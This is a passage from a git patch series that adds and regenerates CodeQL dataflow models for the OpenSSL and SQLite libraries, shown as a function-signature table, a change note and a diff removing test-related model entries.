fake_pipeline_update | 1 | size_t | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 2 | unsigned char ** | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 3 | size_t * | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 4 | const size_t * | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 5 | const unsigned char ** | +| (void *,size_t,unsigned char **,size_t *,const size_t *,const unsigned char **,const size_t *) | | fake_pipeline_update | 6 | const size_t * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 0 | void * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 1 | sqlite3 * | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 2 | int | +| (void *,sqlite3 *,int,const char *) | | useDummyCS | 3 | const char * | +| (void *,sqlite3_uint64) | | sqlite3_realloc64 | 0 | void * | +| (void *,sqlite3_uint64) | | sqlite3_realloc64 | 1 | sqlite3_uint64 | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 0 | void * | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 1 | unsigned char ** | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 2 | int | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 3 | size_t | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 4 | size_t | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 5 | int | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 6 | const unsigned char * | +| (void *,unsigned char **,int,size_t,size_t,int,const unsigned char *,size_t) | | ossl_drbg_get_seed | 7 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_ccm_stream_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_cipher_generic_block_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 0 | void * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t) | | ossl_gcm_stream_final | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_ccm_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_cbc_cts_block_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_block_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_cipher_generic_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_cipher | 5 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 0 | void * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 1 | unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 2 | size_t * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 3 | size_t | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 4 | const unsigned char * | +| (void *,unsigned char *,size_t *,size_t,const unsigned char *,size_t) | | ossl_gcm_stream_update | 5 | size_t | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 0 | void * | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 1 | unsigned char * | +| (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | size_t | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 0 | void * | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 1 | void * | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 2 | block128_f | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 3 | block128_f | +| (void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_new | 4 | ocb128_f | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 0 | void * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 1 | void * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 2 | const OSSL_DISPATCH * | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 3 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 4 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 5 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 6 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 7 | ..(*)(..) | +| (void *,void *,const OSSL_DISPATCH *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | ossl_rand_drbg_new | 8 | ..(*)(..) | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 0 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 1 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 2 | const unsigned char * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 3 | size_t | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_dinit | 4 | const OSSL_PARAM[] | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 0 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 1 | void * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 2 | const unsigned char * | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 3 | size_t | +| (void *,void *,const unsigned char *,size_t,const OSSL_PARAM[]) | | ossl_cipher_generic_skey_einit | 4 | const OSSL_PARAM[] | | (wchar_t *) | CStringT | CStringT | 0 | wchar_t * | | (wchar_t) | | operator+= | 0 | wchar_t | | (wchar_t) | CComBSTR | Append | 0 | wchar_t | From 3df647f205dbb66da5e6eedaa2a5ac5f3b7c8e10 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Wed, 14 May 2025 13:46:33 +0100 Subject: [PATCH 173/535] C++: Add change note. --- cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md diff --git a/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md b/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md new file mode 100644 index 000000000000..c03bd600ac91 --- /dev/null +++ b/cpp/ql/src/change-notes/2025-05-14-openssl-sqlite-models.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added flow model for the `SQLite` and `OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. \ No newline at end of file From 1d31a383624ae385e7e9a02b7af6a2f03908eb82 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 16 May 2025 13:53:16 +0100 Subject: [PATCH 174/535] C++: Regenerate the models for OpenSSL and sqlite after excluding tests in model-generation (sqlite is unaffected). --- cpp/ql/lib/ext/generated/openssl.model.yml | 251 --------------------- 1 file changed, 251 deletions(-) diff --git a/cpp/ql/lib/ext/generated/openssl.model.yml b/cpp/ql/lib/ext/generated/openssl.model.yml index 83d90d430f96..fd347edf4e03 100644 --- a/cpp/ql/lib/ext/generated/openssl.model.yml +++ b/cpp/ql/lib/ext/generated/openssl.model.yml @@ -5110,22 +5110,6 @@ extensions: - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free", "(OSSL_ROLE_SPEC_CERT_ID_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - ["", "", True, "OSSL_ROLE_SPEC_CERT_ID_free", "(OSSL_ROLE_SPEC_CERT_ID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] - - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] - - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] - - ["", "", True, "OSSL_SELF_TEST_get_callback", "(OSSL_LIB_CTX *,OSSL_CALLBACK **,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] - - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[**1]", "ReturnValue[*].Field[***cb_arg]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[*1]", "ReturnValue[*].Field[**cb_arg]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[0]", "ReturnValue[*].Field[*cb]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_new", "(OSSL_CALLBACK *,void *)", "", "Argument[1]", "ReturnValue[*].Field[*cb_arg]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**type]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**data]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[**desc]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**data]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*data]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*desc]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_onbegin", "(OSSL_SELF_TEST *,const char *,const char *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*data]", "value", "dfc-generated"] - - ["", "", True, "OSSL_SELF_TEST_oncorrupt_byte", "(OSSL_SELF_TEST *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "OSSL_STORE_INFO_get0_CERT", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[**(unnamed class/struct/union)]", "ReturnValue[*]", "value", "dfc-generated"] - ["", "", True, "OSSL_STORE_INFO_get0_CRL", "(const OSSL_STORE_INFO *)", "", "Argument[*0].Field[*_].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] @@ -7222,10 +7206,6 @@ extensions: - ["", "", True, "SSL_SESSION_set_time_ex", "(SSL_SESSION *,time_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*timeout].Field[*t]", "taint", "dfc-generated"] - - ["", "", True, "SSL_TEST_CTX_create", "(const CONF *,const char *,OSSL_LIB_CTX *)", "", "Argument[*2]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "SSL_TEST_CTX_create", "(const CONF *,const char *,OSSL_LIB_CTX *)", "", "Argument[2]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - - ["", "", True, "SSL_TEST_CTX_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] - - ["", "", True, "SSL_TEST_CTX_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] - ["", "", True, "SSL_accept", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] @@ -7580,13 +7560,6 @@ extensions: - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[2]", "Argument[*3]", "taint", "dfc-generated"] - ["", "", True, "SSL_write_ex", "(SSL *,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] - - ["", "", True, "STACK_OF_X509_cmp", "(const stack_st_X509 *,const stack_st_X509 *)", "", "Argument[*0].Field[*num]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "STACK_OF_X509_cmp", "(const stack_st_X509 *,const stack_st_X509 *)", "", "Argument[*1].Field[*num]", "ReturnValue", "taint", "dfc-generated"] - - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] - - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] - - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] - - ["", "", True, "STACK_OF_X509_push1", "(stack_st_X509 *,X509 *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] - ["", "", True, "SXNETID_free", "(SXNETID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] - ["", "", True, "SXNET_add_id_INTEGER", "(SXNET **,ASN1_INTEGER *,const char *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] @@ -8904,11 +8877,6 @@ extensions: - ["", "", True, "a2i_IPADDRESS", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] - ["", "", True, "a2i_IPADDRESS_NC", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] - - ["", "", True, "add_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "add_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "add_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "add_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "add_secretbag", "(PKCS12_BUILDER *,int,const char *,const PKCS12_ATTR *)", "", "Argument[3]", "Argument[*3]", "taint", "df-generated"] - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue", "taint", "df-generated"] - ["", "", True, "app_http_get_asn1", "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)", "", "Argument[*7]", "ReturnValue[*]", "taint", "df-generated"] - ["", "", True, "app_http_post_asn1", "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)", "", "Argument[*12]", "ReturnValue", "taint", "df-generated"] @@ -8959,7 +8927,6 @@ extensions: - ["", "", True, "b2i_RSA_PVK_bio_ex", "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[6]", "ReturnValue", "value", "dfc-generated"] - ["", "", True, "bio_dump_callback", "(BIO *,int,const char *,size_t,int,long,int,size_t *)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] - - ["", "", True, "bio_msg_copy", "(BIO_MSG *,BIO_MSG *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[**d]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[*0].Field[*d]", "ReturnValue[*]", "taint", "dfc-generated"] - ["", "", True, "bn_compute_wNAF", "(const BIGNUM *,int,size_t *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] @@ -9094,10 +9061,6 @@ extensions: - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] - ["", "", True, "ca_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] - ["", "", True, "calculate_columns", "(FUNCTION *,DISPLAY_COLUMNS *)", "", "Argument[*1].Field[*width]", "Argument[*1].Field[*columns]", "taint", "dfc-generated"] - - ["", "", True, "check_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "check_certbag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "check_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] - - ["", "", True, "check_keybag", "(PKCS12_BUILDER *,const unsigned char *,int,const PKCS12_ATTR *,const PKCS12_ENC *)", "", "Argument[2]", "Argument[1]", "taint", "dfc-generated"] - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[*1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[***argv]", "value", "dfc-generated"] - ["", "", True, "chopup_args", "(ARGS *,char *)", "", "Argument[1]", "Argument[*0].Field[**argv]", "value", "dfc-generated"] @@ -9131,26 +9094,6 @@ extensions: - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*2]", "taint", "df-generated"] - ["", "", True, "conf_ssl_get_cmd", "(const SSL_CONF_CMD *,size_t,char **,char **)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] - ["", "", True, "config_ctx", "(SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *)", "", "Argument[2]", "Argument[*0].Field[*ctx]", "value", "dfc-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*1]", "Argument[*5]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*2]", "Argument[*6]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*4]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*5]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[*6]", "taint", "df-generated"] - - ["", "", True, "configure_handshake_ctx_for_srp", "(SSL_CTX *,SSL_CTX *,SSL_CTX *,const SSL_TEST_EXTRA_CONF *,CTX_DATA *,CTX_DATA *,CTX_DATA *)", "", "Argument[*3]", "Argument[4]", "taint", "df-generated"] - - ["", "", True, 